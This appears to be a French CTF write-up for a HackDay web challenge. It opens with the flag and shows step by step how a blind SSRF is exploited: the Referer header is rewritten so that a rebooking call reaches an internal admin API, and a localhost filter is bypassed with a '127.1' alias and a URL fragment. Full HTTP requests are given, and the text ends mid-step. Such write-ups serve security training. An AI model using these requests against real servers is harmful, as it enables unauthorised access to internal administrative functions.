Let's meet

Flag: HACKDAY{BL1ND_SSRF_W1TH_F1LT3R_BYP4SS_R0CKS_!!!}

Challenge

2KB

note.txt

Ouvrir

Description

---

During a routine inventory of old development servers, the IT team stumbled upon a forgotten directory: project-legacy.

It’s a prototype for an internal scheduling tool whose development was halted in 2000's, but it was never officially decommissioned. The services are still running in a closed loop, and no one has bothered to patch the vulnerabilities since.

You have been tasked to audit this relic to evaluate the chance of deploying again this project, but this time in production.

https://xmywauknwa.hackday.fr

Ce challenge tourne sur un docker et n'est pas disponible

Solution

Quand on book une réunion, une requête POST est faite et elle sauvegardé dans une base de données pour la réutiliser si on supprime par erreurs la réunion.

POST /book HTTP/2
Host: xmywauknwa.hackday.fr
Cookie: session_token=<JWT_TOKEN>
Content-Length: 43
Content-Type: application/x-www-form-urlencoded
Referer: https://xmywauknwa.hackday.fr/book?d=1&m=JAN

name=test&month=JAN&day=1&details=&members=

Sauf qu'en bidouillant un peu les entêtes, on découvre qu'en modifiant le Referer ça modifie la réunion lors du rebook.

POST /book HTTP/2
Host: xmywauknwa.hackday.fr
Cookie: session_token=<JWT_TOKEN>
Content-Length: 43
Content-Type: application/x-www-form-urlencoded
Referer: https://xmywauknwa.hackday.fr/book?d=2&m=JAN

name=test&month=JAN&day=1&details=&members=

En fait, c'est l'URL dans le Referer qui est appelé lors du rebooking. On peut donc l'utiliser pour faire une requête sur l'API admin interne comme décris dans note.txt :

http://127.0.0.1:5000/api/admin/add-to-app?new_user=thaysan&reference=admin_65537-AUG21

Sauf qu'après plusieurs test, on se rend compte qu'il faut absolument d=&m= dans l'url pour que le serveur puisse les parser et rebook la réunion tout en appelant l'url.

On va donc juste les ajouter à la fin derrière une ancre # :

POST /book HTTP/2
Host: xmywauknwa.hackday.fr
Cookie: session_token=<JWT_TOKEN>
Content-Length: 43
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1:5000/api/admin/add-to-app?new_user=thaysan&reference=admin_65537-AUG21#d=5&m=JAN

name=test&month=JAN&day=1&details=&members=

Maintenant on trigger une alerte SSRF : on est sur la bonne voie. Il faut simplement bypass la vérification de 127.0.0.1 avec un alias du localhost gentiment donné par un LLM.

POST /book HTTP/2
Host: xmywauknwa.hackday.fr
Cookie: session_token=<JWT_TOKEN>
Content-Length: 43
Content-Type: application/x-www-form-urlencoded
Referer: http://127.1:5000/api/admin/add-to-app?new_user=thaysan&reference=admin_65537-AUG21#d=2&m=JAN

name=test&month=JAN&day=1&details=&members=

Puis en rebookant :